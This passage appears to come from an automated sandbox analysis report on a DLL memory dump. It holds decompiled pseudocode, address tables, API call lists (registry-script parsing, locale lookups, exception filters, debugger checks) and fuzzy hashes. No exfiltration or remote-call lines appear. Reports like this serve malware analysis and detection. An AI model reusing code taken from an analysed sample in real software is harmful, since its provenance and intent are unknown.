																E6ED27B50(_t128, 0xc000008c, 1);
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																_push(_t246);
																_t247 = _t249;
																E6ED578A0(0x200c);
																_t132 =  *0x6ed6d008; // 0x3f169fae
																_v148 = _t132 ^ _t249;
																_push(_t178);
																_t184 = _t202;
																_v8344 = 0;
																_push(_t240);
																_t241 = E6ED2E6B0(_t184, _v136,  &_v8344);
																if(_t241 >= 0) {
																	_t137 = _v8208;
																	 *_t184 = _t137;
																	if(0 !=  *_t137) {
																		_push(_t232);
																		while(1) {
																			_t241 = E6ED2DF40(_t184,  &_v8204);
																			if(_t241 < 0) {
																				break;
																			}
																			_t233 = 0;
																			_t243 = 0;
																			while(1) {
																				_t84 = _t243 + 0x6ed66380; // 0x6ed65cc0
																				if(lstrcmpiW( &_v8204,  *_t84) == 0) {
																					break;
																				}
																				_t243 = _t243 + 8;
																				_t233 = _t233 + 1;
																				if(_t243 < 0x70) {
																					continue;
																				} else {
																					L78:
																					_t241 = 0x80020009;
																				}
																				goto L79;
																			}
																			_t234 =  *((intOrPtr*)(0x6ed66384 + _t233 * 8));
																			if(_t234 == 0) {
																				goto L78;
																			} else {
																				_t241 = E6ED2DF40(_t184,  &_v8204);
																				if(_t241 < 0) {
																					break;
																				} else {
																					if(0x7b != _v8204) {
																						goto L78;
																					} else {
																						_t210 = _a4;
																						_push(0);
																						if(_t210 == 0) {
																							_push(0);
																							_push(_t234);
																							_push( &_v8204);
																							_t241 = E6ED2EC30(_t184);
																							if(_t241 < 0) {
																								break;
																							} else {
																								goto L89;
																							}
																						} else {
																							_push(_t210);
																							_v8212 =  *_t184;
																							_push(_t234);
																							_push( &_v8204);
																							_t241 = E6ED2EC30(_t184);
																							if(_t241 >= 0) {
																								while(1) {
																									L89:
																									_t212 =  *_t184;
																									_t227 =  *_t212 & 0x0000ffff;
																									_t147 = _t227 - 9;
																									if(_t147 > 0x17) {
																										break;
																									}
																									switch( *((intOrPtr*)(( *(_t147 + 0x6ed2ec14) & 0x000000ff) * 4 +  &M6ED2EC0C))) {
																										case 0:
																											goto L91;
																										case 1:
																											goto L92;
																									}
																								}
																								L92:
																								if(0 != _t227) {
																									continue;
																								} else {
																									break;
																								}
																							} else {
																								 *_t184 = _v8212;
																								E6ED2EC30(_t184,  &_v8204, _t234, 0, 0);
																								break;
																							}
																						}
																					}
																				}
																			}
																			goto L81;
																		}
																		L79:
																		_pop(_t232);
																	}
																	__imp__CoTaskMemFree(_v8208);
																	_t135 = _t241;
																}
																L81:
																_pop(_t242);
																_pop(_t185);
																return E6ED34160(_t135, _t185, _v12 ^ _t247, _t227, _t232, _t242);
															} else {
																_t128 = _v112;
																if(_t240 >= _t128[6]) {
																	goto L70;
																} else {
																	_t227 =  *(_t128[4] + _t240 * 4);
																	if(_t227 == 0) {
																		goto L46;
																	} else {
																		_v88 = 0;
																		_t215 = _t227;
																		_v8 = 3;
																		_t244 = _t215 + 2;
																		do {
																			_t158 =  *_t215;
																			_t215 = _t215 + 2;
																		} while (_t158 != 0);
																		_t159 = E6ED2D9E0(_t178,  &_v100, _t227, _t215 - _t244 >> 1);
																		_v8 = 0;
																		if(_t159 == 0) {
																			goto L10;
																		} else {
																			if( *_t178 != _t232) {
																				do {
																					_t160 = CharNextW( *_t178);
																					 *_t178 = _t160;
																				} while (_t160 != _t232);
																			}
																			goto L38;
																		}
																	}
																}
															}
														}
													}
												}
											}
										}
									} else {
										if(E6ED2D9E0(_t178,  &_v100, _t232, 1) == 0) {
											goto L10;
										} else {
											L38:
											L39:
											_t237 = CharNextW( *_t178);
											 *_t178 = _t237;
											if( *_t237 == 0) {
												goto L67;
											} else {
												_t113 = _v108;
												_t197 = _v103;
												continue;
											}
										}
									}
								}
								goto L94;
							}
						}
					} else {
						L10:
						__imp__CoTaskMemFree(_v92);
						_t107 = 0x8007000e;
						L69:
						 *[fs:0x0] = _v16;
						_pop(_t230);
						_pop(_t238);
						_pop(_t179);
						return E6ED34160(_t107, _t179, _v20 ^ _t246, _t227, _t230, _t238);
					}
				}
				L94:
			}

0x6ed2e6b3
0x6ed2e6b5
0x6ed2e6c0
0x6ed2e6c1
0x6ed2e6c4
0x6ed2e6c9
0x6ed2e6cb
0x6ed2e6d1
0x6ed2e6d5
0x6ed2e6db
0x6ed2e6dd
0x6ed2e6e0
0x6ed2e6e3
0x6ed2e6e8
0x6ed2ea5b
0x00000000
0x6ed2e6f6
0x6ed2e6f6
0x6ed2e6f8
0x6ed2e6fe
0x6ed2e6fe
0x6ed2e701
0x6ed2e701
0x6ed2e704
0x6ed2e707
0x6ed2e70e
0x6ed2e717
0x6ed2e71a
0x6ed2e71f
0x6ed2e731
0x6ed2e739
0x6ed2e73c
0x6ed2e73c
0x6ed2e740
0x6ed2e75c
0x6ed2e75e
0x6ed2e747
0x6ed2e748
0x6ed2e74e
0x6ed2e753
0x6ed2e757
0x6ed2e757
0x6ed2e753
0x6ed2e761
0x6ed2e76a
0x6ed2e781
0x6ed2e783
0x6ed2e78b
0x6ed2e78d
0x6ed2e790
0x6ed2e793
0x6ed2e796
0x6ed2e79c
0x6ed2ea3d
0x6ed2ea45
0x6ed2ea4f
0x6ed2ea51
0x6ed2ea57
0x00000000
0x6ed2e7a2
0x6ed2e7b0
0x6ed2e7b0
0x6ed2e7b6
0x00000000
0x00000000
0x6ed2e7be
0x6ed2e819
0x6ed2e819
0x6ed2e823
0x6ed2e85b
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed2e825
0x6ed2e827
0x6ed2e835
0x6ed2e848
0x6ed2e851
0x00000000
0x6ed2e857
0x00000000
0x6ed2e857
0x6ed2e837
0x6ed2e839
0x6ed2e85d
0x6ed2e85f
0x6ed2e865
0x6ed2e86c
0x6ed2e86f
0x6ed2e875
0x00000000
0x6ed2e877
0x6ed2e877
0x6ed2e87a
0x6ed2e87f
0x00000000
0x6ed2e887
0x6ed2e887
0x6ed2e894
0x6ed2e898
0x6ed2e89d
0x6ed2e8a3
0x00000000
0x6ed2e8a9
0x6ed2e8a9
0x00000000
0x6ed2e8a9
0x6ed2e8a3
0x6ed2e87f
0x6ed2e867
0x6ed2e867
0x00000000
0x6ed2e867
0x6ed2e865
0x6ed2e829
0x6ed2e829
0x00000000
0x6ed2e829
0x6ed2e827
0x6ed2e7c0
0x6ed2e7c0
0x6ed2e7c5
0x6ed2e7c6
0x6ed2e7cb
0x6ed2e7d0
0x6ed2e816
0x6ed2e816
0x00000000
0x6ed2e7d2
0x6ed2e7d2
0x6ed2e7d6
0x00000000
0x6ed2e7d8
0x6ed2e7d9
0x6ed2e7dc
0x6ed2e7de
0x6ed2e7e1
0x6ed2e7e3
0x6ed2e7e6
0x6ed2e7ea
0x6ed2e7ec
0x6ed2e7fd
0x6ed2e801
0x6ed2e806
0x6ed2e80c
0x00000000
0x6ed2e812
0x6ed2e812
0x00000000
0x6ed2e812
0x6ed2e80c
0x6ed2e7d6
0x6ed2e7d0
0x00000000
0x6ed2e8ad
0x6ed2e8ad
0x6ed2e8b3
0x6ed2ea20
0x00000000
0x6ed2ea26
0x00000000
0x6ed2ea26
0x6ed2e8b9
0x6ed2e8bc
0x6ed2e8be
0x6ed2e8c0
0x6ed2e8c6
0x6ed2e903
0x6ed2e925
0x6ed2e92d
0x6ed2e933
0x00000000
0x6ed2e90a
0x6ed2e90a
0x6ed2e910
0x6ed2e919
0x6ed2e91b
0x6ed2e91e
0x6ed2e923
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed2e923
0x6ed2e93c
0x00000000
0x6ed2e93e
0x6ed2e93e
0x6ed2e944
0x6ed2e949
0x6ed2ea33
0x6ed2ea39
0x00000000
0x6ed2e94f
0x6ed2e94f
0x6ed2e95d
0x6ed2e962
0x6ed2e965
0x6ed2e967
0x6ed2e96a
0x6ed2e970
0x00000000
0x6ed2e972
0x6ed2e972
0x6ed2e975
0x6ed2e984
0x00000000
0x00000000
0x6ed2e986
0x6ed2e989
0x6ed2e98d
0x00000000
0x6ed2e98f
0x00000000
0x6ed2e98f
0x00000000
0x6ed2e98d
0x6ed2e994
0x00000000
0x6ed2e996
0x6ed2e998
0x6ed2ea7e
0x6ed2ea85
0x6ed2ea8a
0x6ed2ea8b
0x6ed2ea8c
0x6ed2ea8d
0x6ed2ea8e
0x6ed2ea8f
0x6ed2ea90
0x6ed2ea91
0x6ed2ea98
0x6ed2ea9d
0x6ed2eaa4
0x6ed2eaaa
0x6ed2eaab
0x6ed2eaad
0x6ed2eab7
0x6ed2eac7
0x6ed2eacb
0x6ed2eacd
0x6ed2ead5
0x6ed2eada
0x6ed2eadc
0x6ed2eae0
0x6ed2eaee
0x6ed2eaf2
0x00000000
0x00000000
0x6ed2eaf4
0x6ed2eaf6
0x6ed2eb00
0x6ed2eb00
0x6ed2eb15
0x00000000
0x00000000
0x6ed2eb17
0x6ed2eb1a
0x6ed2eb1e
0x00000000
0x6ed2eb20
0x6ed2eb20
0x6ed2eb20
0x6ed2eb20
0x00000000
0x6ed2eb1e
0x6ed2eb46
0x6ed2eb4f
0x00000000
0x6ed2eb51
0x6ed2eb5f
0x6ed2eb63
0x00000000
0x6ed2eb65
0x6ed2eb71
0x00000000
0x6ed2eb73
0x6ed2eb73
0x6ed2eb76
0x6ed2eb7a
0x6ed2ebba
0x6ed2ebbc
0x6ed2ebc5
0x6ed2ebcb
0x6ed2ebcf
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed2eb7c
0x6ed2eb7e
0x6ed2eb7f
0x6ed2eb87
0x6ed2eb8e
0x6ed2eb94
0x6ed2eb98
0x6ed2ebd5
0x6ed2ebd5
0x6ed2ebd5
0x6ed2ebd7
0x6ed2ebda
0x6ed2ebe0
0x00000000
0x00000000
0x6ed2ebe9
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed2ebe9
0x6ed2ebfb
0x6ed2ec00
0x00000000
0x6ed2ec06
0x00000000
0x6ed2ec06
0x6ed2eb9a
0x6ed2eba6
0x6ed2ebb0
0x00000000
0x6ed2ebb0
0x6ed2eb98
0x6ed2eb7a
0x6ed2eb71
0x6ed2eb63
0x00000000
0x6ed2eb4f
0x6ed2eb25
0x6ed2eb25
0x6ed2eb25
0x6ed2eb2c
0x6ed2eb32
0x6ed2eb32
0x6ed2eb34
0x6ed2eb37
0x6ed2eb3a
0x6ed2eb43
0x6ed2e99e
0x6ed2e99e
0x6ed2e9a4
0x00000000
0x6ed2e9aa
0x6ed2e9ad
0x6ed2e9b2
0x00000000
0x6ed2e9b8
0x6ed2e9b8
0x6ed2e9bf
0x6ed2e9c1
0x6ed2e9c5
0x6ed2e9d0
0x6ed2e9d0
0x6ed2e9d3
0x6ed2e9d6
0x6ed2e9e4
0x6ed2e9e9
0x6ed2e9ef
0x00000000
0x6ed2e9f5
0x6ed2e9f7
0x6ed2ea00
0x6ed2ea02
0x6ed2ea08
0x6ed2ea0a
0x6ed2ea0e
0x00000000
0x6ed2e9f7
0x6ed2e9ef
0x6ed2e9b2
0x6ed2e9a4
0x6ed2e998
0x6ed2e994
0x6ed2e970
0x6ed2e949
0x6ed2e93c
0x6ed2e8c8
0x6ed2e8d5
0x00000000
0x6ed2e8db
0x6ed2e8db
0x6ed2e8e1
0x6ed2e8e5
0x6ed2e8e7
0x6ed2e8ed
0x00000000
0x6ed2e8f3
0x6ed2e8f3
0x6ed2e8f9
0x00000000
0x6ed2e8f9
0x6ed2e8ed
0x6ed2e8d5
0x6ed2e8c6
0x00000000
0x6ed2e8b3
0x6ed2e7b0
0x6ed2e76c
0x6ed2e76c
0x6ed2e774
0x6ed2e77a
0x6ed2ea60
0x6ed2ea63
0x6ed2ea6b
0x6ed2ea6c
0x6ed2ea6d
0x6ed2ea7b
0x6ed2ea7b
0x6ed2e76a
0x00000000

APIs

CoTaskMemAlloc.OLE32(6ED2DE78,3F169FAE,00000000,00000000), ref: 6ED2E748
CoTaskMemFree.OLE32(00000000,3F169FAE,00000000,00000000), ref: 6ED2E774
CharNextW.USER32(?,00000000), ref: 6ED2E7D9
CharNextW.USER32(00000000), ref: 6ED2E7DE
CharNextW.USER32(00000000), ref: 6ED2E7E3
CharNextW.USER32(00000000), ref: 6ED2E7E8
CharNextW.USER32(?), ref: 6ED2E830
CharNextW.USER32 ref: 6ED2E840
CharNextW.USER32(00000000,3F169FAE,00000000,00000000), ref: 6ED2E8BA
CharNextW.USER32 ref: 6ED2E8E3
CharNextW.USER32(00000000), ref: 6ED2E917
CoTaskMemFree.OLE32(00000000), ref: 6ED2E92D
lstrcmpiW.KERNEL32(?,?), ref: 6ED2E97C
CharNextW.USER32 ref: 6ED2EA02
CoTaskMemFree.OLE32(00000000), ref: 6ED2EA33
CoTaskMemFree.OLE32(00000000,3F169FAE,00000000,00000000), ref: 6ED2EA51
lstrcmpiW.KERNEL32(?,6ED65CC0,?,00000000,C000008C,00000000,00000000), ref: 6ED2EB0D
CoTaskMemFree.OLE32(00000000,C000008C,00000000,00000000), ref: 6ED2EB2C
CharNextW.USER32(?,?,00000000,00000000,00000000,?), ref: 6ED2EBF1

Strings

HKCR, xrefs: 6ED2E7C0
}}, xrefs: 6ED2E88C
HKCU{Software{Classes, xrefs: 6ED2E7F5

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: CharNext$Task$Free$lstrcmpi$Alloc
String ID: }}$HKCR$HKCU{Software{Classes
API String ID: 2337762536-1142484189
Opcode ID: 88877c896e04bdb133da88e0d75bbeab2aab8489241973afdde80da4a3416f45
Instruction ID: 4baadb822b24954efba3571531ba8496b75c31bc60cdeaa51442f8f91c2be27f
Opcode Fuzzy Hash: 88877c896e04bdb133da88e0d75bbeab2aab8489241973afdde80da4a3416f45
Instruction Fuzzy Hash: 08F1B031900319DFDF528BF8C894B9EB7B4AF46308F1045B9EE45AB245EB35D945CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6ED54610, Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 253COMMON

Download Yara Rule

APIs

Part of subcall function 6ED4897C: GetLastError.KERNEL32(00000000,00000000,00000004,6ED3B7B1,00000000,00000000,00000000,?,6ED4D694,00000000,00000000,?,02FB6060,00000000), ref: 6ED48981
Part of subcall function 6ED4897C: SetLastError.KERNEL32(00000000,FFFFFFFF,000000FF,?,6ED4D694,00000000,00000000,?,02FB6060,00000000), ref: 6ED48A1F

GetACP.KERNEL32(00000055,?,?,?,?,?,6ED49DCB,?,?,?,?,?,?,00000004), ref: 6ED546D1
IsValidCodePage.KERNEL32(00000000,00000055,?,?,?,?,?,6ED49DCB,?,?,?,?,?,?,00000004), ref: 6ED546FC
_wcschr.LIBVCRUNTIME ref: 6ED54790
_wcschr.LIBVCRUNTIME ref: 6ED5479E
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,6ED49DCB,00000000,6ED49EEB), ref: 6ED54861

Strings

utf8, xrefs: 6ED547CE

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast_wcschr$CodeInfoLocalePageValid
String ID: utf8
API String ID: 4147378913-905460609
Opcode ID: a01ff8bb773955efbafd98b674737881a757461a896d21aece4d0891e1d623cd
Instruction ID: 2d10ca5722ef0279108e1af599be01aa2530a2b4dae7e382fb73e0f6c3a69d08
Opcode Fuzzy Hash: a01ff8bb773955efbafd98b674737881a757461a896d21aece4d0891e1d623cd
Instruction Fuzzy Hash: 2E71F771600616EAEF149BB5CC41BEA77BCEF45304F10486AE9169B380EB70D87287B2

Uniqueness

Uniqueness Score: -1.00%

Function 6ED32C70, Relevance: 9.2, APIs: 2, Strings: 3, Instructions: 404COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(6ED20000,?,00000104), ref: 6ED32E5C
GetModuleHandleW.KERNEL32(00000000), ref: 6ED330C6

Part of subcall function 6ED27B50: RaiseException.KERNEL32(?,?,00000000,00000000), ref: 6ED27B5D

Strings

Module, xrefs: 6ED33171
Module_Raw, xrefs: 6ED331A0
REGISTRY, xrefs: 6ED331F2

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: Module$ExceptionFileHandleNameRaise
String ID: Module$Module_Raw$REGISTRY
API String ID: 1728487212-549000027
Opcode ID: cfd55c593b310934a1d77ccc0404613c2b50e945e67aa82babbe2a9fc5d07ed2
Instruction ID: 1f4fd318485d0c1749d28a8c1d2781781e724c33cc0aa3a2518565a8220d0e2f
Opcode Fuzzy Hash: cfd55c593b310934a1d77ccc0404613c2b50e945e67aa82babbe2a9fc5d07ed2
Instruction Fuzzy Hash: B3E1D1B5E002358BEB649B94DD54B9E73B4BF46308F1004B9D81EA7640EB75DE84CF92

Uniqueness

Uniqueness Score: -1.00%

Function 6ED54DA4, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 86COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(51CEB70F,2000000B,00000000,00000002,00000000,?,?,?,6ED550CA,?,00000000), ref: 6ED54E3D
GetLocaleInfoW.KERNEL32(51CEB70F,20001004,00000000,00000002,00000000,?,?,?,6ED550CA,?,00000000), ref: 6ED54E66
GetACP.KERNEL32(?,?,6ED550CA,?,00000000), ref: 6ED54E7B

Strings

ACP, xrefs: 6ED54DC2
OCP, xrefs: 6ED54DF8

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 890e16c1c2fa7c1be1db22646e613926a7ec794453b50b2b0a3384e756519a29
Instruction ID: 470499432fc06cac219b5ffa5b981543b25257a6001b9fb29d74c70054d30a8f
Opcode Fuzzy Hash: 890e16c1c2fa7c1be1db22646e613926a7ec794453b50b2b0a3384e756519a29
Instruction Fuzzy Hash: DD21C722A14101EAEF658FE5C801ACF73B6AF41B50B628515E81BC7308E732DD73C351

Uniqueness

Uniqueness Score: -1.00%

Function 6ED54F7F, Relevance: 7.7, APIs: 5, Instructions: 184COMMON

Download Yara Rule

APIs

Part of subcall function 6ED4897C: GetLastError.KERNEL32(00000000,00000000,00000004,6ED3B7B1,00000000,00000000,00000000,?,6ED4D694,00000000,00000000,?,02FB6060,00000000), ref: 6ED48981
Part of subcall function 6ED4897C: SetLastError.KERNEL32(00000000,FFFFFFFF,000000FF,?,6ED4D694,00000000,00000000,?,02FB6060,00000000), ref: 6ED48A1F

Part of subcall function 6ED4897C: _free.LIBCMT ref: 6ED489DE
Part of subcall function 6ED4897C: _free.LIBCMT ref: 6ED48A14

GetUserDefaultLCID.KERNEL32(00000055,?,?), ref: 6ED5508B
IsValidCodePage.KERNEL32(00000000), ref: 6ED550D6
IsValidLocale.KERNEL32(?,00000001), ref: 6ED550E5
GetLocaleInfoW.KERNEL32(?,00001001,6ED49DC4,00000040,?,6ED49EE4,00000055,00000000,?,?,00000055,00000000), ref: 6ED5512D
GetLocaleInfoW.KERNEL32(?,00001002,6ED49E44,00000040), ref: 6ED5514C

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: Locale$ErrorInfoLastValid_free$CodeDefaultPageUser
String ID:
API String ID: 949163717-0
Opcode ID: 107391d33e41d9ff334f79816bc087f71fd9e2ca502875e1d013f25fc40ca0ea
Instruction ID: f64b0ffcfe6b422ed8f4f4fc42f6b82a146c023ab22033980f87c15aef256626
Opcode Fuzzy Hash: 107391d33e41d9ff334f79816bc087f71fd9e2ca502875e1d013f25fc40ca0ea
Instruction Fuzzy Hash: 0C519272900316EFEF41DFE9CC41AAE77B8BF05300F000869E925EB280E771D9658BA1

Uniqueness

Uniqueness Score: -1.00%

Function 6ED34E67, Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 6ED34E73
IsDebuggerPresent.KERNEL32 ref: 6ED34F3F
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 6ED34F5F
UnhandledExceptionFilter.KERNEL32(?), ref: 6ED34F69

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 7c4bca332d55ad8fb61d822d770d6686c6f2dd78a02d1062cf46c8ea99dc4fee
Instruction ID: 34ff86a7adff3a9332932a297ff497ad14c809de31fcf6991d6cd654396fe8d7
Opcode Fuzzy Hash: 7c4bca332d55ad8fb61d822d770d6686c6f2dd78a02d1062cf46c8ea99dc4fee
Instruction Fuzzy Hash: 69314B75D05328DBDF50DFA4C989BCDBBB8AF05304F10409AE50CAB240EB759B858F54

Uniqueness

Uniqueness Score: -1.00%

Function 6ED3461A, Relevance: 6.0, APIs: 4, Instructions: 12COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,6ED3473A,6ED5A3EC), ref: 6ED3461F
UnhandledExceptionFilter.KERNEL32(6ED3473A,?,6ED3473A,6ED5A3EC), ref: 6ED34628
GetCurrentProcess.KERNEL32(C0000409,?,6ED3473A,6ED5A3EC), ref: 6ED34633
TerminateProcess.KERNEL32(00000000,?,6ED3473A,6ED5A3EC), ref: 6ED3463A

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentTerminate
String ID:
API String ID: 3231755760-0
Opcode ID: 61cf43a02d995bad3ad7391c5fa5cbe6fd853a0a4a1f4d7037fd551cd830ea88
Instruction ID: 1521bcc146ef8b16ab73b58bd62ba7e7115e90bb5f2a67c2556803174286eb58
Opcode Fuzzy Hash: 61cf43a02d995bad3ad7391c5fa5cbe6fd853a0a4a1f4d7037fd551cd830ea88
Instruction Fuzzy Hash: A2D01232004A28EBEF002BE0C80DE883F28EB0A212F024800F30A82080DF3248828B71

Uniqueness

Uniqueness Score: -1.00%

Function 6ED28980, Relevance: 40.7, APIs: 20, Strings: 3, Instructions: 439
memoryCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E6ED28980(int __ebx, signed int __ecx, signed int __edx, short* __edi, void* __esi, long long __fp0) {
				int _v8;
				char _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				int _v48;
				signed int _v52;
				int _v56;
				int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				char _v79;
				int _v80;
				signed int _v84;
				int _v88;
				int _v92;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				int _v108;
				signed int _v112;
				int _v116;
				char _v117;
				int _v120;
				int _v124;
				int _v128;
				signed int _v132;
				signed int _v136;
				int _v140;
				int _v144;
				int _v148;
				short* _v152;
				signed int _v156;
				char _v172;
				int _v176;
				signed int _v180;
				int _v184;
				int _v188;
				int _v192;
				int _v196;
				int _v200;
				int _v204;
				int _v208;
				int _v212;
				int _v216;
				int _v220;
				signed int _v224;
				signed int* _v228;
				short* _v232;
				signed int _v244;
				int _v284;
				char _v292;
				signed int _v296;
				int _v316;
				signed int _v448;
				signed int _v496;
				int _v540;
				char _v548;
				signed int _v552;
				int _v564;
				char _v576;
				signed int _v580;
				int _v584;
				int _v600;
				signed int _v612;
				signed int _v616;
				char _v632;
				int _v696;
				char _v704;
				signed int _v708;
				int _v716;
				signed int _v788;
				intOrPtr _v820;
				char _v836;
				signed int _v844;
				char _v1368;
				intOrPtr _v1488;
				char _v1504;
				signed int _v1512;
				int _v1576;
				int _v1644;
				char _v1652;
				void* __ebp;
				signed int _t951;
				signed int _t952;
				signed int _t958;
				signed int _t959;
				intOrPtr _t966;
				signed int _t973;
				signed int _t979;
				signed int _t980;
				signed int _t982;
				signed int _t989;
				signed int _t995;
				signed int _t996;
				signed int _t1000;
				signed int _t1001;
				signed int _t1006;
				signed int _t1010;
				signed int _t1013;
				short* _t1016;
				int _t1018;
				signed int _t1024;
				signed int _t1025;
				signed int _t1026;
				intOrPtr* _t1027;
				signed int _t1028;
				signed int _t1029;
				intOrPtr* _t1033;
				signed int _t1037;
				signed int _t1045;
				signed int _t1055;
				signed int _t1056;
				signed int _t1057;
				signed int _t1058;
				signed int _t1059;
				signed int _t1061;
				signed int _t1063;
				signed int _t1065;
				signed int _t1067;
				signed int _t1069;
				short* _t1071;
				int _t1073;
				short* _t1077;
				int _t1078;
				short* _t1080;
				int _t1081;
				signed int _t1083;
				signed int _t1084;
				signed int _t1085;
				signed int _t1087;
				intOrPtr _t1109;
				signed int _t1113;
				signed int _t1118;
				signed int _t1122;
				signed int _t1123;
				signed int _t1124;
				signed int _t1127;
				signed int _t1128;
				signed int _t1129;
				signed int _t1131;
				signed int _t1133;
				signed int _t1134;
				void* _t1138;
				signed int _t1139;
				void* _t1140;
				signed int _t1141;
				signed int _t1142;
				signed int _t1146;
				signed int _t1147;
				signed int* _t1151;
				signed int _t1153;
				signed int _t1156;
				signed int _t1157;
				signed int _t1160;
				signed int _t1161;
				signed int* _t1165;
				signed int _t1167;
				signed int _t1170;
				signed int _t1174;
				signed int _t1175;
				signed int _t1180;
				signed int _t1184;
				signed int _t1185;
				signed int _t1186;
				signed int _t1189;
				signed int _t1190;
				signed int _t1191;
				signed int _t1193;
				signed int _t1195;
				signed int _t1196;
				void* _t1200;
				signed int _t1201;
				void* _t1202;
				signed int _t1203;
				void* _t1204;
				signed int _t1205;
				void* _t1206;
				signed int _t1207;
				void* _t1208;
				signed int _t1209;
				void* _t1210;
				signed int _t1211;
				signed int _t1212;
				signed int _t1216;
				signed int _t1217;
				signed int* _t1221;
				signed int _t1223;
				signed int _t1226;
				signed int _t1227;
				signed int _t1230;
				signed int _t1231;
				signed int* _t1235;
				signed int _t1237;
				signed int _t1240;
				signed int _t1241;
				signed int _t1244;
				signed int _t1245;
				signed int* _t1249;
				signed int _t1252;
				signed int _t1255;
				signed int _t1256;
				signed int _t1259;
				signed int _t1260;
				signed int* _t1264;
				signed int _t1265;
				signed int _t1266;
				signed int _t1267;
				signed int _t1270;
				signed int _t1271;
				signed int _t1274;
				signed int _t1275;
				signed int* _t1279;
				signed int _t1280;
				signed int _t1281;
				signed int _t1282;
				signed int _t1285;
				signed int _t1286;
				signed int _t1289;
				signed int _t1290;
				signed int* _t1294;
				signed int _t1295;
				signed int _t1296;
				signed int _t1297;
				signed int _t1300;
				signed int _t1301;
				signed int _t1304;
				signed int _t1305;
				signed int _t1309;
				signed int _t1313;
				signed int _t1318;
				signed int _t1322;
				signed int _t1323;
				signed int _t1324;
				signed int _t1327;
				signed int _t1328;
				signed int _t1331;
				short* _t1333;
				int _t1334;
				signed int _t1336;
				signed int _t1337;
				signed int _t1338;
				signed int _t1340;
				signed int _t1347;
				signed int _t1351;
				signed int _t1355;
				signed int _t1369;
				signed int _t1370;
				signed int _t1371;
				signed int _t1372;
				signed int _t1374;
				signed int _t1375;
				void* _t1379;
				signed int _t1380;
				void* _t1381;
				signed int _t1382;
